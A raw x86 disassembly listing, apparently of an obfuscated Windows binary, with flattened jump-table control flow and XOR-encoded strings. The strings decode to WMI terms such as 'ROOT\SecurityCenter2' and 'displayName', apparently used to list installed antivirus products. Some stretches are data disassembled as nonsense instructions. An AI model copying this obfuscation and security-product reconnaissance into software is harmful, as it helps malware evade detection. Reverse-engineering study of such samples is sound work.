mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x6f
mov byte [ebx + 0xb], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0x70
mov byte [ebx + 0xc], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x71
mov byte [ebx + 0xd], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x53
xor eax, 0x72
mov byte [ebx + 0xe], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x73
mov byte [ebx + 0xf], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0x74
mov byte [ebx + 0x10], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x75
mov byte [ebx + 0x11], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x61
xor eax, 0x76
mov byte [ebx + 0x12], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x77
mov byte [ebx + 0x13], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0x78
mov byte [ebx + 0x14], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x79
mov byte [ebx + 0x15], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0x7a
mov byte [ebx + 0x16], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x7b
mov byte [ebx + 0x17], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x7c
mov byte [ebx + 0x18], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
mov edx, ebx
add esp, 8
xor eax, 0x7d
mov byte [edx + 0x19], al
mov eax, 0x1a
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0x1c
jne 0x430a1c
mov dword [esi + 0x20], 0
mov eax, dword [esi + 0x20]
cmp eax, 0x1c
jae 0x430a68
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x20]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432a50
mov edx, dword [esi + 0x80]
add esp, 8
mov ecx, dword [esi + 0x20]
mov byte [edx + ecx], al
mov eax, dword [esi + 0x20]
inc eax
mov dword [esi + 0x20], eax
jmp 0x430a2f
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov ebx, dword [esi + 0x48]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
mov edx, ebx
test eax, eax
setns al
mov cx, word [edx]
sub cx, 3
sete cl
and al, cl
movzx eax, al
mov dword [esi + 0x198], eax
mov eax, dword [esi + 0x19c]
mov ecx, dword [esi + 0x198]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x7c]
jmp eax
call fcn.00419ba0
mov dword [esi + 0x248], 1
mov eax, dword [esi + 0x24c]
mov ecx, dword [esi + 0x248]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov dword [esi + 0x1c8], 0
mov eax, dword [esi + 0x1cc]
mov ecx, dword [esi + 0x1c8]
mov eax, dword [eax + ecx*4]
mov ebx, edi
mov edi, dword [esi + 0xb4]
jmp eax
mov eax, dword [esi + 0x1a8]
mov ecx, dword [esi + 0x1ac]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
call fcn.00419ba0
mov dword [esi + 0x230], 0
mov eax, dword [esi + 0x234]
mov ecx, dword [esi + 0x230]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi]
jmp eax
xor ecx, ecx
sub eax, 3
sete cl
mov dword [esi + 0x148], ecx
mov eax, dword [esi + 0x14c]
mov ecx, dword [esi + 0x148]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x170]
mov ecx, dword [esi + 0x174]
mov eax, dword [ecx + eax*4]
mov edx, dword [esi + 0x9c]
jmp eax
mov edi, ebx
movzx eax, al
and eax, 1
mov dword [esi + 0x1b8], eax
mov eax, dword [esi + 0x1bc]
mov ecx, dword [esi + 0x1b8]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0xb0]
jmp eax
push cs
movsb byte es:[edi], byte [esi]
xchg edi, eax
mov eax, 0x173c491d
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0xc0]
mov ecx, dword [esi + 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x140]
mov ecx, dword [esi + 0x144]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 0x28]
jmp eax
call fcn.00419ba0
mov dword [edi], 0
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
sub esp, 0x14
mov dword [esp + 0x10], edi
mov edx, dword [esi + 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
test eax, eax
sets cl
sub eax, 1
sete al
mov edx, dword [edi]
test edx, edx
sete dl
or al, dl
or al, cl
mov dword [esi + 0x1c0], 1
mov ecx, dword [esi + 0x1c4]
mov edx, dword [esi + 0x1c0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov dword [edi], 0
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
sub esp, 0x14
mov dword [esp + 0x10], edi
mov edx, dword [esi + 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
mov eax, dword [esi + 0xc8]
mov ecx, dword [esi + 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esi + 7]
mov bl, al
and ebx, 1
mov dword [esi + 0x200], ebx
mov eax, dword [esi + 0x204]
mov ecx, dword [esi + 0x200]
mov eax, dword [eax + ecx*4]
xor ebx, ebx
mov ecx, dword [esi]
jmp eax
call fcn.00419ba0
mov dword [esi + 0x208], 1
mov eax, dword [esi + 0x20c]
mov ecx, dword [esi + 0x208]
mov eax, dword [eax + ecx*4]
jmp eax
xchg byte [eax], cl
add al, byte [eax]
add byte [ecx], al
add byte [eax], al
add byte [ebx + 0x20c86], cl
add byte [ebx + 0x2088e], cl
add byte [ebx - 0x1f0077fc], cl
add edi, dword [edi]
jge 0x430cbb
mov eax, dword [ebx]
mov eax, dword [eax + 0xc]
sub esp, 0x24
mov ecx, dword [esi]
mov dword [esp + 0x20], ecx
mov ecx, dword [esi + 0x40]
mov dword [esp + 4], ecx
mov dword [esp], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call eax
mov eax, dword [esi + 0xf0]
mov ecx, dword [esi + 0xf4]
mov eax, dword [ecx + eax*4]
jmp eax
sti
inc edi
sbb eax, 0x8a844a13
adc ecx, dword [ebx + 0xe886]
add byte [ebx + 0xec8e], cl
add byte [ebx - 0x1f007efc], cl
call fcn.00419ba0
mov dword [esi + 0x298], 1
mov eax, dword [esi + 0x29c]
mov ecx, dword [esi + 0x298]
mov eax, dword [eax + ecx*4]
mov ebx, edi
mov edi, dword [esi + 0xa4]
jmp eax
mov eax, dword [esi + 0xf8]
mov ecx, dword [esi + 0xfc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov ebx, dword [edi]
mov dword [esi + 0x270], 1
mov eax, dword [esi + 0x274]
mov ecx, dword [esi + 0x270]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
push eax
mov eax, esp
sub esp, 0x30
mov dword [esi + 0x88], esp
push eax
mov dword [esi + 0xa4], esp
push eax
mov dword [esi], esp
sub esp, 0xc
mov dword [esi + 0xa8], esp
push eax
mov dword [esi + 0x3c], esp
sub esp, 0x44
mov dword [esi + 0x30], esp
push eax
mov dword [esi + 0x74], esp
push eax
mov dword [esi + 0x34], esp
push eax
mov dword [esi + 0x2c], esp
push eax
mov dword [esi + 0xb4], esp
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov dword [esi + 0x48], ecx
mov esp, ecx
push eax
sub esp, 0x18
mov dword [esi + 0x80], esp
push eax
mov dword [esi + 0xb0], esp
push eax
mov dword [esi + 0x7c], esp
sub esp, 0x10
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
sub esp, 0x18
mov dword [esi + 0x78], esp
push eax
mov dword [esi + 0xac], esp
mov dword [eax], 0
sub esp, 0x14
mov dword [esi + 0x4c], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x442a08
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x442a18
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
xor ecx, ecx
test eax, eax
setns al
mov dword [esi + 0x2a8], 1
mov edx, dword [esi + 0x2ac]
mov edi, dword [esi + 0x2a8]
mov edx, dword [edx + edi*4]
jmp edx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor ecx, ecx
test eax, eax
sete cl
mov dword [esi + 0x1a0], ecx
mov ecx, dword [esi + 0x1a4]
mov edx, dword [esi + 0x1a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
sub esp, 4
mov dword [esp], edx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
mov ebx, dword [esi + 0x44]
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0xac]
mov al, byte [eax]
mov byte [esi + 0x6c], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x64
xor eax, 0x96
mov edi, dword [esi + 0x78]
mov byte [edi], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x97
mov byte [edi + 1], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x69
xor eax, 0x98
mov byte [edi + 2], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x99
mov byte [edi + 3], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x73
xor eax, 0x9a
mov byte [edi + 4], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x9b
mov byte [edi + 5], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x70
xor eax, 0x9c
mov byte [edi + 6], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x9d
mov byte [edi + 7], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6c
xor eax, 0x9e
mov byte [edi + 8], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x9f
mov byte [edi + 9], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x61
xor eax, 0xa0
mov byte [edi + 0xa], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xa1
mov byte [edi + 0xb], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x79
xor eax, 0xa2
mov byte [edi + 0xc], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xa3
mov byte [edi + 0xd], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4e
xor eax, 0xa4
mov byte [edi + 0xe], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xa5
mov byte [edi + 0xf], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x61
xor eax, 0xa6
mov byte [edi + 0x10], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xa7
mov byte [edi + 0x11], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6d
xor eax, 0xa8
mov byte [edi + 0x12], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xa9
mov byte [edi + 0x13], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0xaa
mov byte [edi + 0x14], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xab
mov byte [edi + 0x15], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xac
mov byte [edi + 0x16], al
sub esp, 8
mov dword [esp], 0xdba7ae96
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xad
mov byte [edi + 0x17], al
mov eax, 0x18
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0x1c
jne 0x43122a
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x24]
cmp eax, 0x1c
jae 0x431273
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x24]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432a80
mov edi, dword [esi + 0x78]
add esp, 8
mov ecx, dword [esi + 0x24]
mov byte [edi + ecx], al
mov eax, dword [esi + 0x24]
inc eax
mov dword [esi + 0x24], eax
jmp 0x43123d
mov ecx, dword [esi + 0x8c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
test eax, eax
setns al
mov cx, word [ebx]
sub cx, 8
sete cl
and al, cl
movzx eax, al
mov dword [esi + 0x188], eax
mov eax, dword [esi + 0x18c]
mov ecx, dword [esi + 0x188]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov eax, dword [ebx]
mov eax, dword [eax + 0xc]
sub esp, 0x24
mov ecx, dword [esi]
mov dword [esp + 0x20], ecx
mov ecx, dword [esi + 0x40]
mov dword [esp + 4], ecx
mov dword [esp], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call eax
xor ecx, ecx
test eax, eax
setns al
mov dword [esi + 0x240], 1
mov edx, dword [esi + 0x244]
mov edi, dword [esi + 0x240]
mov edx, dword [edx + edi*4]
jmp edx
sub esp, 4
mov eax, dword [esi + 0x70]
mov dword [esp], eax
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov eax, dword [esi + 0xa0]
mov dword [esp], eax
call edi
mov eax, dword [esi + 0x138]
mov ecx, dword [esi + 0x13c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0x4c]
mov ecx, dword [esi]
jmp eax
call fcn.00419ba0
mov dword [esi + 0x1e0], 1
mov eax, dword [esi + 0x1e4]
mov ecx, dword [esi + 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov dword [esi + 0x1f8], 1
mov eax, dword [esi + 0x1fc]
mov ecx, dword [esi + 0x1f8]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0xa8]
mov ebx, dword [esi + 0x3c]
jmp eax
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0xb8]
mov ecx, dword [esi + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esi + 0x258], 0
mov eax, dword [esi + 0x25c]
mov ecx, dword [esi + 0x258]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ecx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x130]
mov ecx, dword [esi + 0x134]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov eax, dword [ebx]
mov dword [esi + 0x228], 0
mov ecx, dword [esi + 0x22c]
mov edx, dword [esi + 0x228]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esi + 0x158]
mov ecx, dword [esi + 0x15c]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
jl 0x4314ad
int 0x13
add eax, 0x8b5b7d19
xchg al, dl
add byte [eax], al
add byte [ebx + 0xd48e], cl
add byte [ebx - 0x1f007efc], cl
call fcn.00419ba0
mov dword [esi + 0x210], 1
mov eax, dword [esi + 0x214]
mov ecx, dword [esi + 0x210]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
xor eax, eax
mov edx, dword [esi + 0x28]
test edx, edx
sete al
mov dword [esi + 0x178], eax
mov eax, dword [esi + 0x17c]
mov ecx, dword [esi + 0x178]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x34]
jmp eax
mov eax, dword [esi + 0x1d0]
mov ecx, dword [esi + 0x1d4]
mov eax, dword [ecx + eax*4]
mov dword [esi + 0x28], 0
mov edi, dword [esi + 0x34]
jmp eax
mov cl, al
and ecx, 1
mov dword [esi + 0x238], ecx
mov eax, dword [esi + 0x23c]
mov ecx, dword [esi + 0x238]
mov eax, dword [eax + ecx*4]
xor ebx, ebx
mov edi, dword [esi + 0x4c]
jmp eax
mov edx, dword [esi + 0x288]
mov ecx, dword [esi + 0x28c]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov ecx, dword [esi + 0x150]
mov edx, dword [esi + 0x154]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov dword [esi + 0x40], eax
mov eax, dword [esi + 0x280]
mov ecx, dword [esi + 0x284]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0x4c]
jmp eax
push eax
mov eax, esp
sub esp, 0x30
push eax
push eax
sub esp, 0xc
push eax
sub esp, 0x44
push eax
push eax
push eax
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0x18
push eax
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0x18
push eax
mov dword [eax], 0
sub esp, 0x14
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x442a08
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x442a18
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
mov eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x114]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x268]
mov ecx, dword [esi + 0x26c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esi + 0x278], 1
mov eax, dword [esi + 0x27c]
mov ecx, dword [esi + 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x118]
mov ecx, dword [esi + 0x11c]
mov ecx, dword [ecx + eax*4]
mov eax, dword [esi + 0x28]
jmp ecx
call fcn.00419ba0
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov dword [esi + 0x160], 1
mov eax, dword [esi + 0x164]
mov ecx, dword [esi + 0x160]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [edi]
mov byte [esi + 0x54], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x52
xor eax, 0xaa
mov byte [ebx], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xab
mov byte [ebx + 1], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4f
xor eax, 0xac
mov byte [ebx + 2], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xad
mov byte [ebx + 3], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4f
xor eax, 0xae
mov byte [ebx + 4], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xaf
mov byte [ebx + 5], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x54
xor eax, 0xb0
mov byte [ebx + 6], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb1
mov byte [ebx + 7], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x5c
xor eax, 0xb2
mov byte [ebx + 8], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb3
mov byte [ebx + 9], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x53
xor eax, 0xb4
mov byte [ebx + 0xa], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb5
mov byte [ebx + 0xb], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0xb6
mov byte [ebx + 0xc], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb7
mov byte [ebx + 0xd], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x63
xor eax, 0xb8
mov byte [ebx + 0xe], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb9
mov byte [ebx + 0xf], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x75
xor eax, 0xba
mov byte [ebx + 0x10], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xbb
mov byte [ebx + 0x11], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0xbc
mov byte [ebx + 0x12], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xbd
mov byte [ebx + 0x13], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x69
xor eax, 0xbe
mov byte [ebx + 0x14], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xbf
mov byte [ebx + 0x15], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0xc0
mov byte [ebx + 0x16], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc1
mov byte [ebx + 0x17], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x79
xor eax, 0xc2
mov byte [ebx + 0x18], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc3
mov byte [ebx + 0x19], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x43
xor eax, 0xc4
mov byte [ebx + 0x1a], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc5
mov byte [ebx + 0x1b], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0xc6
mov byte [ebx + 0x1c], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc7
mov byte [ebx + 0x1d], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6e
xor eax, 0xc8
mov byte [ebx + 0x1e], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc9
mov byte [ebx + 0x1f], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0xca
mov byte [ebx + 0x20], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xcb
mov byte [ebx + 0x21], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0xcc
mov byte [ebx + 0x22], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xcd
mov byte [ebx + 0x23], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0xce
mov byte [ebx + 0x24], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xcf
mov byte [ebx + 0x25], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x32
xor eax, 0xd0
mov byte [ebx + 0x26], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd1
mov byte [ebx + 0x27], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd2
mov byte [ebx + 0x28], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd3
mov byte [ebx + 0x29], al
mov eax, 0x2a
mov byte [ebx + eax], 0
add eax, 1
cmp eax, 0x2e
jne 0x431c04
mov dword [esi + 8], 0
mov eax, dword [esi + 8]
cmp eax, 0x2e
jae 0x431c4a
mov eax, dword [esi + 8]
mov ecx, dword [esi + 8]
movzx ecx, byte [ebx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004329e0
add esp, 8
mov ecx, dword [esi + 8]
mov byte [ebx + ecx], al
mov eax, dword [esi + 8]
inc eax
mov dword [esi + 8], eax
jmp 0x431c17
sub esp, 4
mov dword [esp], ebx
